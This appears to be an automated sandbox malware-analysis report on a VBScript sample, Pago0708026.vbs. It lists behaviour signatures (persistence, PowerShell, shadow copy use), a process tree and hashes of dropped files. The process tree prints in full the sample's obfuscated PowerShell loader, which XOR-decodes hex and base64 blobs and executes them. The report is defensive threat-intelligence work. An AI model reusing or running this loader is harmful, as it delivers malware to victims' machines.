Overview

overview

8

Static

static

1

Pago0708026.vbs

windows10-2004-x64

8

Pago0708026.vbs

windows11-ltsc_2024-x64

8

Analysis

  • max time kernel
    298s
  • max time network
    199s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260706-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260706-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    09/07/2026, 16:51

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Pago0708026.vbs
  • Size 21KB
  • Sample260709-vcvdfsey3w
  • SHA256 c043adceeb0764daac467439500b22ec988c8580ef6cb9e65aae54a1ace4866c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10
adwareexecutionpersistenceransomwarespyware

Malware Config

Signatures

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Boot or Logon Autostart Execution: Active Setup 2 TTPs 1 IoCs

    Adversaries may achieve persistence by adding a Registry key to the Active Setup of the local machine.

    persistence
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • Enumerates connected drives 3 TTPs 2 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 62 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
    adwarespyware
  • Modifies registry class 38 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 33 IoCs
  • Suspicious use of FindShellTrayWindow 54 IoCs
  • Suspicious use of SendNotifyMessage 40 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Pago0708026.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=44-84;$fNaKZVk='adNr3KxPu';$eUXd4XuV='c6c4b7acf893a6d78ca7ab81a8b9cc819fbca4a080abb9d2dff08485ab90f6ca84a08cb6a8abb4b7f08fa6b7bea5af83bdebbce8c08caead91aaf095abaaada4ba8bbbf68df2c7ff908081acb7b2b799aab9a790a1c993bd8eb0a8a1888ce091b7a7e5f19a88aba8d3dff0fba9f8d0e5be858ab4afa9a387bfccd2be80bb8c989097e0a3e399eda7bbbea1dbb5b7a291fb94b3e8ecb4bfacb2a989b2b2fda6be8cbda1bd83bbd1b7bb9898a7a4ad9fd7928ba291b187a29af6b885cfefa9fcd590c0b98096baf88cd581f499a2a3a689b4809fdfd1b3ad92ac9fbc96e3bb85cbb6a9868fbfcda6eb92858e889ebbabb7a6a3b2b3fbaf9fd3d4b6bd89a996b79af7aa8a8e9da8fdaab4fbb69889ba988c8b88cca7a899ed9dbabdb5e1d49e91bba7aaa18eadbb85b4eeaf8988adc3d19480bcf9989081f499e7b19ca0f9ad9ff58c99bdb8ac87b0e9ec858582ac809690e1d0a99896bb83989dbaf0a3909997898b86eaa889b3adebbe9fd78ee082bfacaaaf8bb6aefbb6948abda2fba9baaba7b9b198a8beabeba8d8f5f7d58aaa80f5cd98a29fffe69a9da8fca5b79cb6a5a790b1f68ff2d2849fab9cacb7a4bc99b0afa78abfc4dbe8af8b8df6ca9ffc95818eada2a083f0c2a2bd94a9aebc9085a3db9488b0a68c85abfcd7e6a9abb9a78abfb1c5b0ccebe2e7cdd59387a794bcbfa78bb6b985fadeb3e2b5c0afa4afb78df284ac8ebdfa95f2b4babfe0b3bdfba2be93baa5badff0de84a6d78daaa080b7f4c1f696ffe68d8badf795f2deb3e58d8badf795fb86fab0ba96a1e293b78eaab9a0c4fceecf9695a8a5a28bb9fda5b38ebee3eabbf1e482b38ebca3b599a5e4ecd89caaa5ad90b1f68ff293f7efafc8fcedcdf697f3efbed998b1c8fb81fbb2f3bf88f180bc8eb0a68985acfcbce8c093a4af8099ea92b797bda7b7ccfc';$cKRte5QEY='VRggAzQjCXwOc1Rvcx9uSHYIHU0kXEJBA0NVWF1VRgt7DShFRRE/UxslCWsdEGM1YANqYGBUXF5/D0JzAS17ZlR9SwN9WWxPWh9ZTgh6RGtHcl16QBVDClVVVl1yREpQQmtwQVN3TgUyfnFBQFh4Cy9wXnFBWlJ+AE83FiFPCVh9D0c6QytpR2JvRhJ3Tixbb3B4Uw9oTHFPRmwhHSVsSGRUUXh1VBJ/Q2ZFHBVJDhslCWsOfV9tSA17BSFPGBVrDhsTJwgqEFomZ042Cm1UQEEhCEl1V2RBGlJ0CRx/AjQOXkF8AE8yBSJIQEVrVFwxAjQQAx8qEFUwHyIAHxE8FVEwFDwPXVx8CFcwR3VHExgyKmx3Sy0IEFYmQ0Y6RiwNVV9/D0JqEF50UUlvCSNwTmpEXV98elwkeFFmDB9cQhJNWXdJWlYzAwE3BChNVUV4T0EiEVZ0dRY7DEY5f1EeChk1DVk3ETllenUlGUE3VggqFBE/QAF4DTgAE0VjU0hzSGFJXVtpCFExFTEOAAMpCV8wGzQSGx4hQBV4RmJGXFdoQRV6CiUbFBV8QAA+ECUEU1Z9CTVrT3ZURlh1QE4uASUEU1Z9CSp7Q2JUXBE2B1csBAgqEF07GkY5HSIADzwRB0Y+DWwAHGpYSAhoSHdUaQshYRRxQEdBR1QtEzVqX2xOUxk/agdqTm1FR2oqek83DSJNTUFpSAFsTGgOfF52QgNtCiUHRkR1VBU5DUUIEFZ8QUo+CWkMFBY8C0Y5YHZCQVh3Q0EyDSIQExE3B0FmGzEHHTwRB0Y+DUJFQBxLVQl9SHZTSEJ0VRI+blV1FBx/QhV9UXZFWFR4U0YzS2xSR0U7Ehp4WSVuVVx+CyVOeCVdOTsWLUY+DSUAFBE7B0Y=';$jrDgjG7=0x264E-0x4424;$ePsHAjOp=@();foreach($c in [char[]]$fNaKZVk){$ePsHAjOp+=[byte]($c-bxor0xAA)};$c4oRugaM=$ePsHAjOp;$ePsHAjOp=@();foreach($c in [char[]]$fNaKZVk){$ePsHAjOp+=[byte]($c-bxor0x55)};$r7DDuWkW=$ePsHAjOp;$ePsHAjOpoldR='';$i=0;for($j=0;$j-lt$eUXd4XuV.Length;$j+=2){$ePsHAjOpoldR+=[char](([Convert]::ToInt32($eUXd4XuV.Substring($j,2),16))-bxor$c4oRugaM[$i++%$c4oRugaM.Length])};$dINquSh=$ePsHAjOpoldR;$ePsHAjOpoldB=[Convert]::FromBase64String([regex]::Replace($cKRte5QEY, '$ePsHAjOp', ''));$ePsHAjOpoldR='';$i=0;for($j=0;$j-lt$ePsHAjOpoldB.Length;$j++){$ePsHAjOpoldR+=[char]($ePsHAjOpoldB[$j]-bxor$r7DDuWkW[$i++%$r7DDuWkW.Length])};$qzPEhLjH=$ePsHAjOpoldR;$z7j07hEM=$dINquSh+$qzPEhLjH;.($env:ComSpec[4,26,25]-join'') $z7j07hEM
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4588
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zbcs24zs\zbcs24zs.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:5972
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESF7E8.tmp" "c:\Users\Admin\AppData\Local\Temp\zbcs24zs\CSC1251DC8B4F74B119582B7289627638B.TMP"
          4⤵
            PID:5476
    • C:\Windows\system32\sihost.exe
      sihost.exe
      1⤵
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of WriteProcessMemory
      PID:6016
      • C:\Windows\explorer.exe
        explorer.exe /LOADSAVEDWINDOWS
        2⤵
        • Boot or Logon Autostart Execution: Active Setup
        • Enumerates connected drives
        • Checks SCSI registry key(s)
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of FindShellTrayWindow
        • Suspicious use of SendNotifyMessage
        • Suspicious use of SetWindowsHookEx
        PID:820
    • C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe
      "C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:4756
    • C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe
      "C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca
      1⤵
      • Modifies registry class
      • Suspicious use of SetWindowsHookEx
      PID:5940

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          prep_Activatable Class_Hermes_perf.cache
          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
          • Size 607B
          • SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          RESF7E8.tmp
          • Path C:\Users\Admin\AppData\Local\Temp\RESF7E8.tmp
          • Size 1KB
          • SHA256 1ebef5ef206225c3cff1f0c76c64a5be578189c37483be34cf389f3c602ae4b2
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          zbcs24zs.dll
          • Path C:\Users\Admin\AppData\Local\Temp\zbcs24zs\zbcs24zs.dll
          • Size 3KB
          • SHA256 332366b9fb4337961b94dbdad0c97db35d565e497c8f289cb295a24414b71fab
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          CSC1251DC8B4F74B119582B7289627638B.TMP
          • Path \??\c:\Users\Admin\AppData\Local\Temp\zbcs24zs\CSC1251DC8B4F74B119582B7289627638B.TMP
          • Size 652B
          • SHA256 ed523c7d44913bb742a35c51a0366559f9ca11602e23526490a9de14aedf0312
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          zbcs24zs.0.cs
          • Path \??\c:\Users\Admin\AppData\Local\Temp\zbcs24zs\zbcs24zs.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          zbcs24zs.cmdline
          • Path \??\c:\Users\Admin\AppData\Local\Temp\zbcs24zs\zbcs24zs.cmdline
          • Size 369B
          • SHA256 f4dca41ac74f36d7aaf848d32af94016561896bb79db591c6186fe998bf17e58
          • MD5 SHA1 SHA512 TLSH
          Submit Download

          memory/4588-19-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-6-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-10-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-11-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-12-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-13-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-14-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-15-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-0-0x00007FFD5BA9F000-0x00007FFD5BAA0000-memory.dmp
          Download

          memory/4588-8-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-7-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-9-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-5-0x0000015EF52F0000-0x0000015EF5312000-memory.dmp
          Download

          memory/4588-29-0x0000015EF4D80000-0x0000015EF4D88000-memory.dmp
          Download

          memory/4588-4-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-30-0x0000015EF4BA0000-0x0000015EF4BBA000-memory.dmp
          Download

          memory/4588-32-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-34-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4588-1-0x00007FFD5B910000-0x00007FFD5C2B4000-memory.dmp
          Download

          memory/4756-85-0x000001D683D10000-0x000001D683D30000-memory.dmp
          Download

          memory/4756-53-0x000001D6801E0000-0x000001D6802E0000-memory.dmp
          Download

          memory/4756-99-0x000001D694300000-0x000001D694320000-memory.dmp
          Download

          memory/4756-71-0x000001D693D90000-0x000001D693E90000-memory.dmp
          Download

          memory/4756-69-0x000001D683930000-0x000001D683950000-memory.dmp
          Download